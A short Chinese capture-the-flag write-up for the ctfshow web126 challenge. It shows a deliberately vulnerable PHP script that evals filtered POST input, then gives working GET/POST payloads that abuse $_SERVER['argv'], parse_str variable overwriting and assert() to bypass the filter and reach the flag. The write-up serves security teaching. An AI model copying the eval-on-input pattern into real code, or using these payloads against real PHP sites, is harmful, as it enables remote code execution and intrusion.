ctfshow web126($_SERVER['argv']的使用)
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
我们在本地做实验之前:配置php.ini文件的register_argc_argv = On(默认是Off),重启服务。
先看第一个图:
再看第二个:
可以看出来+起到分隔的作用。
因此我们可以利用parse_str()进行变量覆盖,payload如下:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
我们也可以直接利用代码执行函数assert或其他,对a[0]进行操作不用+进行分割,payload如下:
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])